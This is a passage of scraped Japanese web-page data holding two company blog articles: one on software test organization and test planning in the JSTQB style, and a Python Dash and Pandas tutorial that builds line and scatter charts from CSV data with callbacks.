ぞれのチームがテストリーダーによって率いられることがあります。場合によっては、リーダー役がテスト担当者の中から選ばれることもあります。",[11,23724,23725],{},"テストリーダーの主なタスクは次の通りです。組織のテストポリシーや戦略の作成やレビュー、プロジェクトの背景を考慮したテスト目的やリスクの理解に基づく計画の立案、テスト計画書の作成と更新、プロジェクトマネージャーやプロダクトオーナーとの調整、テストの進行状況の監視と報告、計画の修正やテストコントロールの実施など、多岐にわたります。また、欠陥管理システムの導入支援やテスト環境の構築、適切なメトリクスの導入、ツール選定とその活用支援、テスト担当者のスキルアップやキャリア促進なども重要な業務に含まれます。",[11,23727,23728],{},"さらに、テストマネージャーはプロジェクトで採用するソフトウェア開発ライフサイクルモデルに合わせて役割を調整する必要があります。アジャイル開発の場合、一部のタスクはチーム内で分担され、日々のテスト作業はチームメンバーが担います。一方、大規模な開発組織では、複数のチームにまたがるタスクや組織の人事関連業務は、開発組織外部のテストマネージャーが担当することが多く、そのような役割を担う人物はテストコーチと呼ばれることもあります。",[11,23730,23731],{},"テストコーチは、外部から必要なスキルを持つ人材をアサインする、またはチーム間の調整を行うミーティングを主導するなど、組織全体の連携や効率向上を支援します。このように、テストマネージャーの役割は、プロジェクトの規模や開発手法に応じて柔軟に変化しながら、テストプロセス全体の品質を保証する重要な役割を果たします。",[11,23733,23734],{},[20,23735,23736],{},"③テスト担当者の役割",[11,23738,23739],{},"テスト分析や設計、テストの自動化、そして特殊なテスト実行（例：セキュリティテストや性能テスト）は、それぞれの分野に熟練した技術者が担当するのが理想です。テストのレベルやソフトウェアの品質リスクに基づいて、専任のテストチーム以外の担当者がテストを実施する場合もあります。例えば、コンポーネントテストや統合テストにおいてホワイトボックステストを実施する際には、内部構造に精通した開発者が担当することが一般的です。また、ユーザー受け入れテストや運用受け入れテストでは、実際の利用者やその環境に詳しいエキスパートが実施することが多く、運用受け入れテストについては、運用担当者やシステムアドミニストレーターが行うことになります。",[11,23741,23742],{},"テスト担当者の主な役割は以下の通りです。 ",[31,23744,23745,23748,23751,23754,23757,23760,23763,23766,23769,23772,23775,23778],{},[34,23746,23747],{},"テスト計画をレビューし、改善に貢献する",[34,23749,23750],{},"要件、ユーザーストーリー、受け入れ基準、仕様、モデル（テストベース）を分析、レビュー、評価して試験性を高める",[34,23752,23753],{},"テスト条件を特定し文書化し、テストケース、テスト条件、テストベースの間でトレーサビリティを確立する",[34,23755,23756],{},"テスト環境を設計し、セットアップと検証を行う（システムアドミニストレーションやネットワークマネジメントと連携することが多い）",[34,23758,23759],{},"テストケースとテスト手順を設計- 実装する",[34,23761,23762],{},"テストデータを作成- 取得する",[34,23764,23765],{},"詳細なテスト実行スケジュールを立てる",[34,23767,23768],{},"テストケースを実行し、その結果を評価し、期待通りでない場合は逸脱を記録する",[34,23770,23771],{},"適切なツールを使用してテストプロセスを効率化する",[34,23773,23774],{},"必要に応じてテストを自動化する（開発者やテスト自動化専門家の協力が求められることもある）",[34,23776,23777],{},"性能効率、信頼性、使用性、セキュリティ、互換性、移植性といった非機能的特性を評価する",[34,23779,23780],{},"他の担当者が作成したテストケースをレビューする",[11,23782,23783],{},"テスト対象の特性によっては、テスト設計や実行に関する知識に加えて、対象システムの知識やビジネスドメインの専門的なスキルが必要になる場合があります。このような場合には、対象の専門知識やドメインスキルを持つエキスパートが担当することがより効果的です。",[11,23785,23786],{},[20,23787,23788],{},"テストの計画",[11,23790,23791],{},"テスト計画を「納期から逆算したスケジュールを書いたもの」と認識している人がいます。確かにスケジュールはテスト計画の重要な要素ではありますが、それだけでは不十分です。本節では、単に日程を作成するだけでなく、目的を明確にし、多様な制約を考慮することで初めてテスト計画として成り立つことを解説します。",[11,23793,23794],{},"テスト計画は目的に応じて策定されます。主に、プロジェクト全体のテストを対象とするマスターテスト計画と、個別に立てられるテスト計画の2種類に大別されます。個別のテスト計画は、システムテスト計画や受け入れテスト計画のようにテストレベルごとに作成される場合や、性能テスト計画やセキュリティテスト計画のようにテストタイプごとに作成される場合があります。",[11,23796,23797],{},"マスターテスト計画は、複数のテストレベルを統括する計画です。この計画は、独立した文書としてまとめられることもあれば、プロジェクト計画書の一部として記載されることもあります。一方で、個別のテスト計画は、それぞれ独立した文書として作成されるのが一般的です。",[11,23799,23800],{},[20,23801,23802],{},"テストアイテム",[11,23804,23805],{},"何をテストするのかを記載します。以下のような項目がテストアイテムに該当します。",[31,23807,23808,23811,23813,23815,23818,23821,23824],{},[34,23809,23810],{},"システム",[34,23812,3124],{},[34,23814,17718],{},[34,23816,23817],{},"ユニット",[34,23819,23820],{},"システム間のインターフェース",[34,23822,23823],{},"サブシステム間のインターフェース",[34,23825,23826],{},"コンポーネント間のインターフェース",[11,23828,23829],{},[20,23830,23831],{},"テスト範囲",[11,23833,23834],{},"テストを行うフィーチャーと、実施しないフィーチャーを記載します。テストを実施しないフィーチャーについては、実施しない理由も併せて記載する必要があります。",[11,23836,23837],{},[20,23838,23839],{},"確認テストおよびリグレッションテスト",[11,23841,23842],{},"確認テストおよびリグレッションテストを実施する条件を記載します。 テスト計画では、確認テストやリグレッションテストがテストサイクルとして扱われる場合があります。また、変更後に実施するリグレッションテストのレベルを定義することもあります。",[11,23844,23845],{},[20,23846,23847],{},"テスト計画書の内容の進化",[11,23849,23850],{},"テスト計画は一度作成したら終了ではなく、プロジェクトの進行に応じて発展させていくものです。プロジェクトが進むにつれ、テスト計画に反映可能な情報が増え、計画内容がより詳細になります。テスト実行中もリスクの変化を認識し、スケジュールの調整などを行いながら、計画に反映させていきます。 テスト計画はプロダクトのライフサイクル全体を通して継続的に行われる活動です。プロダクトのライフサイクルとは、プロジェクト完了後に保守フェーズへ移行し、最終的に廃棄されるまでを指します。保守フェーズにおいてもテスト計画の活動は継続されます。",[11,23852,23853],{},[20,23854,23855],{},"テスト計画の考慮事項",[11,23857,23858],{},"テスト計画を策定する際には、様々な要素を考慮する必要があります。例えば、以下のような項目があります。",[31,23860,23861,23864,23867,23869,23871,23874,23877,23880,23883],{},[34,23862,23863],{},"組織のテストポリシーおよびテスト戦略",[34,23865,23866],{},"採用している開発ライフサイクルや手法",[34,23868,23831],{},[34,23870,2898],{},[34,23872,23873],{},"リスク",[34,23875,23876],{},"制約事項",[34,23878,23879],{},"重要度と優先度",[34,23881,23882],{},"テストの容易性",[34,23884,23885],{},"利用可能なリソース",[11,23887,23888],{},"テスト実施に時間や手間がかかる設計になっているテストアイテムが存在する場合、その分の手間をスケジュールに反映させる必要があります。また、テストアイテム間で実行の重要度や優先度に差がある場合は、それに応じたスケジュールを作成しなければなりません。",[11,23890,23891],{},[20,23892,23893],{},"テスト計画の活動",[11,23895,23896],{},"テスト計画では、次のような活動を行います。",[31,23898,23899,23902,23905,23908,23911,23925,23939,23942,23956,23959],{},[34,23900,23901],{},"テスト範囲を決める",[34,23903,23904],{},"テスト目的を決める",[34,23906,23907],{},"リスクを洗い出す",[34,23909,23910],{},"テストアプローチを検討し、定義する",[34,23912,23913,23914],{},"次に挙げる事柄を決める",[31,23915,23916,23919,23922],{},[34,23917,23918],{},"何をテストするか",[34,23920,23921],{},"さまざまなテスト活動でどのような人的リソース他のリソースが必要か",[34,23923,23924],{},"どのようにテスト活動を進めるか",[34,23926,23927,23928],{},"次に挙げる活動をスケジューリングする",[31,23929,23930,23932,23934,23936],{},[34,23931,3657],{},[34,23933,3660],{},[34,23935,3663],{},[34,23937,23938],{},"テスト実行、および終了基準の評価",[34,23940,23941],{},"テストのモニタリングやコントロールに使用するためのメトリクスを選ぶ",[34,23943,23944,23945],{},"テストドキュメントに関して、次に挙げる事柄を決める",[31,23946,23947,23950,23953],{},[34,23948,23949],{},"テストドキュメントの詳細レベル",[34,23951,23952],{},"テストドキュメントの種類とそれらの構造",[34,23954,23955],{},"使用するテンプレートやサンプルドキュメント",[34,23957,23958],{},"テスト活動の予算を決める",[34,23960,23961],{},"ソフトウェアライフサイクル",[11,23963,23964],{},[20,23965,4577],{},[11,23967,23968],{},[57,23969,23970],{"href":23970,"rel":23971},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-10-jp",[61],{"title":64,"searchDepth":65,"depth":65,"links":23973},[],"2025-02-10","①独立したテスト 自分で書いた文章には、誤字や表現の間違いがあっても、自分ではなかなか気づけないことが多いです。そのため、文書の誤りを見つけるには、作成者以外の人に読んでもらうことが効果的です。これは、作成者が気づきにくい表現の不自然さや思い込みによる誤りを、他者が指摘しやすくなるからです。この仕組みは、ソフトウェア開発における開発者とテスト担当者の関係性にも似ています。この節では、テストマネジメントの観点から、テスト組織の形態、それぞれの利点と課題、独立したテストを行う技術者の役割について解説します。",{},"\u002Fja\u002Fnews\u002Fto-chuc-kiem-thu",{"title":23639,"description":23975},"ja\u002Fnews\u002Fto-chuc-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F07125742\u002FScreenshot-2025-02-07-125700.png","r6YQ6tUibhb9e0Tg3fDTBHTzCwyae55DL1eLWHPdITA",{"id":23983,"title":23984,"body":23985,"category":1388,"created by":11123,"date":24503,"description":24504,"extension":71,"meta":24505,"navigation":73,"path":24506,"sections":75,"seo":24507,"stem":24508,"thumbnail":24509,"__hash__":24510},"content_ja\u002Fja\u002Fnews\u002Ftruc-quan-hoa-du-lieu-bang-python-dash.md","Python Dashによるデータ可視化",{"type":8,"value":23986,"toc":24500},[23987,23991,23994,23998,24001,24004,24007,24010,24013,24016,24019,24023,24026,24029,24032,24040,24044,24052,24056,24064,24068,24072,24075,24078,24081,24084,24088,24091,24094,24099,24101,24106,24112,24122,24125,24130,24137,24140,24154,24157,24163,24166,24172,24176,24179,24185,24188,24193,24196,24199,24204,24210,24213,24219,24222,24228,24232,24235,24238,24244,24247,24253,24256,24262,24268,24274,24281,24288,24292,24295,24303,24307,24310,24316,24322,24327,24333,24336,24339,24350,24354,24357,24365,24368,24371,24375,24378,24384,24387,24393,24397,24400,24406,24409,24417,24420,24426,24429,24437,24440,24446,24449,24455,24464,24468,24471,24475,24478,24480,24486,24488,24494],[487,23988,23990],{"id":23989},"dash-とは","Dash とは",[11,23992,23993],{},"DashはMITライセンスで公開されているオープンソースのライブラリです。このライブラリは、Plotly.js、ReactJs上に構築されています。Dashは、カスタム化されるUI（ユーザーインターフェイス）を備えたデータ可視化アプリを構築するのに理想的です。Dashは非常に簡単なので10分未満でUIをソースコードにバインドできます。DashはWebブラウザーにレンダリングされるため、クロスプラットフォーム及びモバイルデバイスで実行できます。",[487,23995,23997],{"id":23996},"dash利用のご案内","Dash利用のご案内",[660,23999,24000],{"id":24000},"設定方法",[11,24002,24003],{},"環境：端末でPython 3 がすでにインストールされています。",[11,24005,24006],{},"ターミナルでは、Dashをインストールするために以下のコマンドを実行します。",[11,24008,24009],{},"pip install dash",[11,24011,24012],{},"上記のコマンドの実行により、Dashに加えてpipはチャート描画ライブラリ( Plotly.py)もインストールします。",[11,24014,24015],{},"最後に、次のコマンドを実行することによりPandasライブラリをインストールします。",[11,24017,24018],{},"pip install pandas",[487,24020,24022],{"id":24021},"pandasについて","Pandasについて",[11,24024,24025],{},"PandasはオープンソースでBSDライセンスで公開されています。Pandasは、Pythonプログラミング言語用に高性能で使いやすいデータ構造とデータ分析ツールを提供します。",[11,24027,24028],{},"Pandasは、DataFrame及びSeriesという２つの主要なデータ構造を提供します。DataFrameは文字、整数、浮動小数点値、カテゴリカルデータといった様々なタイプのデータを列に格納できる2次元のデータ構造です。DataFrameの１行や１列の情報もSeriesに対応します。",[11,24030,24031],{},"列形式でデータを格納するには次の一般的な規則が３つあります。",[31,24033,24034],{},[34,24035,24036,24039],{},[20,24037,24038],{},"長い形式のデータには","、観測ごとに1つの行があり、変数ごとに1つの列があります。これは、多変量データ、つまり次元が2より大きいデータの保存および表示に適しています。",[530,24041],{"className":24042,"alt":64,"src":24043,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31142643\u002Flong_form_2.png",[31,24045,24046],{},[34,24047,24048,24051],{},[20,24049,24050],{},"ワイドフォームデータには","、最初の変数の1つの値ごとに1つの行があり、2番目の変数の値ごとに1つの列があります。これは、2次元データの保存および表示に適しています。",[530,24053],{"className":24054,"alt":64,"src":24055,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31142738\u002Fwide_form_2.png",[31,24057,24058],{},[34,24059,24060,24063],{},[20,24061,24062],{},"混合形式のデータは","、長い形式と広い形式のデータのハイブリッドです。",[530,24065],{"className":24066,"alt":64,"src":24067,"style":566},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31142805\u002Fmixed_form.png",[487,24069,24071],{"id":24070},"dashのレイアウトについて","Dashのレイアウトについて",[11,24073,24074],{},"Dashアプリはレイアウト及びコールバックという２つの主要部分で構成されています。レイアウトは、アプリがどのように表示されるかを示します。コールバックは、アプリのインタラクティブ性を示します。",[11,24076,24077],{},"「レイアウト」は各コンポーネントを組むツリーです。",[11,24079,24080],{},"DashはDashHTMLコンポーネント、Dashコアコンポーネント、Dashデータテーブル、Dash DAQ、DashBootstrapコンポーネントなどの多種類のコンポーネントを提供します。",[11,24082,24083],{},"この記事では、DashHTMLコンポーネント及びDashコアコンポーネントについて説明します。",[487,24085,24087],{"id":24086},"dashhtmlコンポーネント","DashHTMLコンポーネント",[11,24089,24090],{},"レイアウトのHTMLタグを定義するために用いられるHTMLコンポーネントを提供する関数です。",[11,24092,24093],{},"Dash HTMLコンポーネントの使用を開始するには、次のように.pyファイルにインポートする必要があります。",[11,24095,24096],{},[703,24097,24098],{},"from dash import html",[11,24100,14645],{},[11,24102,24103],{},[2645,24104,24105],{},"html_demo.py",[696,24107,24110],{"className":24108,"code":24109,"language":701},[699],"import dash\nfrom dash import html\n\napp = dash.Dash(__name__)\n\napp.layout = html.Div(children=[\n   html.H1(children='Hello Dash'),\n])\n\nif __name__ == '__main__':\n   app.run_server(debug=True)\n",[703,24111,24109],{"__ignoreMap":64},[11,24113,24114,24117,24118,24121],{},[703,24115,24116],{},"「html.H1(children='Hello Dash')」`","はブラウザで",[703,24119,24120],{},"「\u003Ch1>Hello Dash\u003C\u002Fh1>」`","を生成します。",[11,24123,24124],{},"CHTMLタグと同様に「style」プロパティを使用してhtml_componentのスタイルを変更することもできます。",[11,24126,24127],{},[703,24128,24129],{},"例：html.H1('Hello Dash', style={'textAlign': 'center', 'color': '#7FDBFF'})",[11,24131,24132,24133,24136],{},"上記のコードは",[703,24134,24135],{},"「\u003Ch1 style=\"text-align: center; color: #7FDBFF\">Hello Dash\u003C\u002Fh1>」","として表示されます。",[11,24138,24139],{},"DashHTMLコンポーネントとHTML属性の間にはいくつかの重要な相違があります。",[31,24141,24142,24145,24148,24151],{},[34,24143,24144],{},"HTMLの「style」というプロパティはセミコロンで区切られた文字列です。Dashでは、dictionary（辞書）を提供する必要があります。",[34,24146,24147],{},"dictionaryのキー名はキャメルケース形式になります。 したがって「text-align」の代わりに、Dashで「textAlign」になります。",[34,24149,24150],{},"HTMLの「class」というプロパティは、Dashで「className」になります。",[34,24152,24153],{},"HTMLタグの子要素は「children」キーワードを使用した引数を介して指定されます。",[11,24155,24156],{},"また、スタイルを直接使用する代わりに、レイアウトにスタイルを定義するためにCSSファイルを利用することもできます。 詳細は下記のURLをご参照ください。",[11,24158,24159],{},[57,24160,24161],{"href":24161,"rel":24162},"https:\u002F\u002Fdash.plotly.com\u002Fexternal-resources",[61],[11,24164,24165],{},"利用可能なすべてのコンポーネントはHTML Components Galleryで確認できます。",[11,24167,24168],{},[57,24169,24170],{"href":24170,"rel":24171},"https:\u002F\u002Fdash.plotly.com\u002Fdash-html-components",[61],[487,24173,24175],{"id":24174},"dashコアコンポーネント","Dashコアコンポーネント",[11,24177,24178],{},"ドロップダウン、チェックボックス、ラジオ、グラフといった高レベルの各コンポーネントのセットを含めるものです。 利用可能なすべてのコンポーネントはDash Core Components Galleryで確認できます。",[11,24180,24181],{},[57,24182,24183],{"href":24183,"rel":24184},"https:\u002F\u002Fdash.plotly.com\u002Fdash-core-components",[61],[11,24186,24187],{},"Dashコアコンポーネントの使用を開始するには、次のように.pyファイルをインポートする必要があります。",[11,24189,24190],{},[703,24191,24192],{},"from dash import dcc",[11,24194,24195],{},"各コアコンポーネントの中に「Graph」はデータ可視化にとって重要なコンポーネントです。「Graph」は、Plotly.jsというJavaScriptオープンソースグラフ作成ライブラリを使用してブラウザへデータの可視化をレンダリングするものです。Plotly.jsは35種類以上のチャートタイプをサポートし、ベクター品質のSVG及び高パフォーマンスのWebGL形式でチャットをレンダリングさせます。注意すべき点としてはPlotly.jsはブラウザへのレンダリングにのみ使用されています（これがDashで行われる）が、コーディングする時には、Javascriptで直接コーディングせずにPlotly.pyライブラリを使用します（これがDashをインストールする時に提供される）。",[11,24197,24198],{},"Graphコンポーネントの使用方法については、csvデータを折れ線グラフとしてブラウザへレンダリングする例を見てみましょう。",[11,24200,24201],{},[2645,24202,24203],{},"csv\u002Fgraph_sample.csv",[696,24205,24208],{"className":24206,"code":24207,"language":701},[699],"DateTime,DATA 1,DATA 2,DATA 3,DATA 4\n20211220 101010.000,30,100,124,197\n20211220 101010.010,40,110,134,65\n20211220 101010.020,50,140,214,149\n20211220 101010.030,60,150,169,-98\n20211220 101010.040,70,160,204,-173\n20211220 101010.050,80,170,164,-108\n20211220 101010.060,90,180,148,150\n20211220 101010.070,100,190,180,92\n20211220 101010.080,110,200,268,94\n20211220 101010.090,120,210,164,-139\n20211220 101010.100,130,220,254,-132\n",[703,24209,24207],{"__ignoreMap":64},[11,24211,24212],{},"まず、csvファイルを読み込むためにpandasを使用する必要があります。",[696,24214,24217],{"className":24215,"code":24216,"language":701},[699],"df = pd.read_csv('csv\u002Fgraph_sample.csv')\n",[703,24218,24216],{"__ignoreMap":64},[11,24220,24221],{},"変数「df」をコンソールに印刷して、その構造を確認します。",[696,24223,24226],{"className":24224,"code":24225,"language":701},[699],"print(df)\n",[703,24227,24225],{"__ignoreMap":64},[530,24229],{"className":24230,"alt":64,"src":24231,"style":566},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31144341\u002Fexample_wide_form.png",[11,24233,24234],{},"こちらの形式は覚えていますか？ そうです。先ほど上記で言及されていたPandasの広い形式のデータです！",[11,24236,24237],{},"次は、DateTime列のデータをstringからdatetimeに変換して、グラフにデータの日時が正しく表示されるようにします。",[696,24239,24242],{"className":24240,"code":24241,"language":701},[699],"df['DateTime'] = pd.to_datetime(df['DateTime'], format='%Y%m%d %H:%M:%S.%f')\n",[703,24243,24241],{"__ignoreMap":64},[11,24245,24246],{},"そして、plotly expressでline figureを作成します。",[696,24248,24251],{"className":24249,"code":24250,"language":701},[699],"line_fig = px.line(df, x='DateTime', y=['DATA 1', 'DATA 2', 'DATA 3', 'DATA 4'])\n",[703,24252,24250],{"__ignoreMap":64},[11,24254,24255],{},"Graphコンポーネントにfigureを引き渡します。",[696,24257,24260],{"className":24258,"code":24259,"language":701},[699],"app.layout = html.Div(children=[\n    dcc.Graph(id='graph', figure=line_fig)\n])\n",[703,24261,24259],{"__ignoreMap":64},[11,24263,24264,24265],{},"完全なコードは下記のようです。 ",[2645,24266,24267],{},"graph_demo.py",[696,24269,24272],{"className":24270,"code":24271,"language":701},[699],"import dash\nimport pandas as pd\nimport plotly.express as px\nfrom dash import dcc\nfrom dash import html\n\napp = dash.Dash(__name__)\n\ndf = pd.read_csv('csv\u002Fgraph_sample.csv')\nprint(df)\ndf['DateTime'] = pd.to_datetime(df['DateTime'], format='%Y%m%d %H:%M:%S.%f')\n\nline_fig = px.line(df, x='DateTime', y=['DATA 1', 'DATA 2', 'DATA 3', 'DATA 4'])\n\napp.layout = html.Div(children=[\n   dcc.Graph(id='graph', figure=line_fig)\n])\n\nif __name__ == '__main__':\n   app.run_server(debug=True)\n",[703,24273,24271],{"__ignoreMap":64},[11,24275,24276,24277,24280],{},"ターミナルでは次のコマンドを実行します。 ",[703,24278,24279],{},"python graph_demo.py"," 最後に、",[11,24282,24283,24287],{},[57,24284,24285],{"href":24285,"rel":24286},"http:\u002F\u002F127.0.0.1:8050\u002F",[61]," にアクセスして結果を確認します。",[530,24289],{"className":24290,"alt":64,"src":24291,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31144923\u002Fexample_graph-1024x373.png",[11,24293,24294],{},"上記の例の中には、",[31,24296,24297,24300],{},[34,24298,24299],{},"Pandasライブラリは、入力データを処理するために用いられます（csvを読み取り、DateTime列のデータをstringからdatetimeに変換する）。",[34,24301,24302],{},"Plotly.pyライブラリにあるPlotly Expressは、出力Graphのグラフタイプ（折れ線図、散布図）、x軸、y軸などを指定する役割を担います。",[487,24304,24306],{"id":24305},"dashコールバック","Dashコールバック",[11,24308,24309],{},"コールバック関数は別のコンポーネント（出力）の一部のプロパティを更新するために、入力コンポーネントのプロパティが変更されるたびにDashによって自動的に呼び出されるものです。",[11,24311,24312,24313],{},"コールバックをより深く理解するには、dcc.DatePickerRangeコンポーネントからの入力を使用して日付でデータをフィルターする例を見てみましょう。 ",[2645,24314,24315],{},"csv\u002Fcallbacks_sample.csv",[696,24317,24320],{"className":24318,"code":24319,"language":701},[699],"DateTime,DATA 1,DATA 2,DATA 3,DATA 4\n20211219 101010.010,10,200,178,90\n20211219 111010.020,20,150,134,25\n20211219 121010.030,5,130,210,11\n20211219 131010.040,15,110,100,-97\n20211219 141010.050,60,150,143,-17\n20211219 151010.060,30,140,132,30\n20211219 161010.070,20,180,167,45\n20211219 171010.080,16,120,240,123\n20211219 181010.090,75,190,153,40\n20211219 191010.100,90,250,162,-10\n20211220 001010.000,68,142,156,1\n20211220 011010.010,40,110,134,65\n20211220 021010.020,50,140,214,149\n20211220 031010.030,60,150,169,-98\n20211220 041010.040,70,160,204,-173\n20211220 051010.050,80,170,164,-108\n20211220 061010.060,90,180,148,150\n20211220 071010.070,100,190,180,92\n20211220 081010.080,110,200,268,94\n20211220 091010.090,120,210,164,-139\n20211220 101010.100,130,220,254,-132\n20211221 001010.000,10,90,142,30\n20211221 011010.010,30,100,162,55\n20211221 021010.020,80,120,180,20\n20211221 031010.030,70,110,176,-10\n20211221 041010.040,50,130,194,-90\n20211221 051010.050,60,140,202,-120\n20211221 061010.060,90,150,164,100\n20211221 071010.070,120,160,197,132\n20211221 081010.080,110,170,186,40\n20211221 091010.090,130,210,182,-130\n20211221 101010.100,120,230,210,-100\n",[703,24321,24319],{"__ignoreMap":64},[11,24323,24324],{},[2645,24325,24326],{},"callbacks_demo.py",[696,24328,24331],{"className":24329,"code":24330,"language":701},[699],"from datetime import datetime, timedelta\n\nimport dash\nimport pandas as pd\nimport plotly.express as px\nfrom dash import dcc, Output, Input\nfrom dash import html\n\napp = dash.Dash(__name__)\n\ndf = pd.read_csv('csv\u002Fcallbacks_sample.csv')\ndf['DateTime'] = pd.to_datetime(df['DateTime'], format='%Y%m%d %H:%M:%S.%f')\n\ninit_start_date = df['DateTime'].min().strftime('%Y-%m-%d')\ninit_end_date = df['DateTime'].max().strftime('%Y-%m-%d')\n\napp.layout = html.Div(children=[\n   dcc.DatePickerRange(\n       id='date-picker-range',\n       start_date=init_start_date,\n       end_date=init_end_date,\n       minimum_nights=0,\n       display_format='YYYY\u002FMM\u002FDD'\n   ),\n   dcc.Graph(id='scatter-graph'),\n])\n\n@app.callback(\n   Output('scatter-graph', 'figure'),\n   Input('date-picker-range', 'start_date'),\n   Input('date-picker-range', 'end_date')\n)\ndef update_figure(start_date, end_date):\n   if start_date is not None and end_date is not None:\n       start_date = datetime.fromisoformat(start_date)\n       end_date = datetime.fromisoformat(end_date) + timedelta(days=1)\n       filtered_df = df[(start_date \u003C= df['DateTime']) & (df['DateTime'] \u003C= end_date)]\n       scatter_fig = px.scatter(filtered_df, x='DateTime', y=['DATA 1', 'DATA 2', 'DATA 3', 'DATA 4'])\n\n       return scatter_fig\n\nif __name__ == '__main__':\n   app.run_server(debug=True)\n",[703,24332,24330],{"__ignoreMap":64},[11,24334,24335],{},"Dashでは、アプリの入力と出力は単に特定のコンポーネントのプロパティにすぎません。この例では、入力は「date-picker-range」IDを持つコンポーネントの「start_date」及び「end_date」プロパティであり、出力は「scatter-graph」IDを持つコンポーネントの「figure」プロパティになります。",[11,24337,24338],{},"@callbackデコレーターが宣言された関数は、入力プロパティが変更されるたびに自動的に呼び出されます。 Dashは、入力プロパティに新しく入力された値を入力引数としてコールバック関数に提供し（上記の例でupdate_figure関数は「start_date」、「end_date」という２つの引数を持つ）、関数の戻り値を出力コンポーネントのプロパティに更新します。（上記の例でupdate_figure関数はscatter_figを返却）",[11,24340,24341,24342,24345,24346,24349],{},"ターミナルで",[703,24343,24344],{},"python callbacks_demo.py","コマンドを実行し、",[57,24347,24285],{"href":24285,"rel":24348},[61],"にアクセスして結果を確認します。",[530,24351],{"className":24352,"alt":64,"src":24353,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31145606\u002Fcallback_demo_pic1-1024x381.png",[11,24355,24356],{},"end_dateを変更した後の結果",[11,24358,24359,24363],{},[530,24360],{"className":24361,"alt":64,"src":24362,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31145648\u002Fcallbacks_demo_pic2-1024x387.png",[568,24364],{},[487,24366,24367],{"id":24367},"最適化及び機能追加",[11,24369,24370],{},"この部分ではコールバックのコードを使用してそのコードに最適化して機能を追加します。",[1750,24372,24374],{"id":24373},"データ数nを読み取ります","データ数nを読み取ります。",[11,24376,24377],{},"現在、入力データの数を4個に固定に設定しています。",[696,24379,24382],{"className":24380,"code":24381,"language":701},[699],"scatter_fig = px.scatter(filtered_df, x='DateTime', y=['DATA 1', 'DATA 2', 'DATA 3', 'DATA 4'])\n",[703,24383,24381],{"__ignoreMap":64},[11,24385,24386],{},"もし入力データが「DATA 1, DATA 2,..., DATA n」どんな量でもあるとすると、上記のコードでは4個のデータしか読み取って表示できません。 データ数nを読み取ってグラフへ表示するには、コードを少し修正する必要があります。",[696,24388,24391],{"className":24389,"code":24390,"language":701},[699],"# get first columns name for x-axis\nx_col_name = df.columns[0]\n# get list column name except first column for y-axis\ny_col_name_list = df.columns[1:]\nfiltered_df = df[(start_date \u003C= df[x_col_name]) & (df[x_col_name] \u003C= end_date)]\nscatter_fig = px.scatter(filtered_df, x=x_col_name, y=y_col_name_list)\n",[703,24392,24390],{"__ignoreMap":64},[1750,24394,24396],{"id":24395},"csvのヘッダーからconfigを読み取ります","CSVのヘッダーからconfigを読み取ります。",[11,24398,24399],{},"CSVのヘッダーを次のように考えます。",[696,24401,24404],{"className":24402,"code":24403,"language":701},[699],"DateTime(yyyyMMdd HH:mm:ss.fff),DATA 1(minFilter=20;maxFilter=100),DATA 2(maxFilter=140),DATA 3,DATA 4,DATA 5\n",[703,24405,24403],{"__ignoreMap":64},[11,24407,24408],{},"上記のヘッダーからconfigを読み取る機能を追加します。",[31,24410,24411,24414],{},[34,24412,24413],{},"DateTime列のconfigを読み取って日時の形式を設定します（現在、コードで固定に設定されている）。",[34,24415,24416],{},"DATA列のmaxFilter、minFilterのconfigを読み取りそのDATA列のminFilterより小さくmaxFilterより大きい値のデータを除外します。",[11,24418,24419],{},"まず、共通関数を含めるutils.pyファイルを追加します。",[696,24421,24424],{"className":24422,"code":24423,"language":701},[699],"import re\n\n_format_convertor = (\n   ('yyyy', '%Y'), ('yyy', '%Y'), ('yy', '%y'), ('y', '%y'),\n   ('MMMM', '%B'), ('MMM', '%b'), ('MM', '%m'), ('M', '%m'),\n   ('dddd', '%A'), ('ddd', '%a'), ('dd', '%d'), ('d', '%d'),\n   ('HH', '%H'), ('H', '%H'), ('hh', '%I'), ('h', '%I'),\n   ('mm', '%M'), ('m', '%M'),\n   ('ss', '%S'), ('s', '%S'),\n   ('tt', '%p'), ('t', '%p'),\n   ('fff', '%f'),\n   ('zzz', '%z'), ('zz', '%z'), ('z', '%z'),\n)\n\ndef convert_py_datetime_format(in_format):\n   out_format = ''\n   while in_format:\n       if in_format[0] == \"'\":\n           apos = in_format.find(\"'\", 1)\n           if apos == -1:\n               apos = len(in_format)\n           out_format += in_format[1:apos].replace('%', '%%')\n           in_format = in_format[apos + 1:]\n       elif in_format[0] == '\\\\':\n           out_format += in_format[1:2].replace('%', '%%')\n           in_format = in_format[2:]\n       else:\n           for intok, outtok in _format_convertor:\n               if in_format.startswith(intok):\n                   out_format += outtok\n                   in_format = in_format[len(intok):]\n                   break\n           else:\n               out_format += in_format[0].replace('%', '%%')\n               in_format = in_format[1:]\n   return out_format\n\ndef extract_csv_col_config(col_name: str):\n   try:\n       found = re.search('\\\\((.*)\\\\)', col_name)\n       col_name = col_name.replace(found.group(0), '')\n       config_string = found.group(1)\n       config_list = config_string.split(';')\n       configs = []\n       for config in config_list:\n           key_value_list = config.split('=')\n           key = key_value_list[0]\n           value = key_value_list[1] if len(key_value_list) > 1 else None\n           configs.append((key, value))\n   except AttributeError:\n       configs = []\n   return col_name, 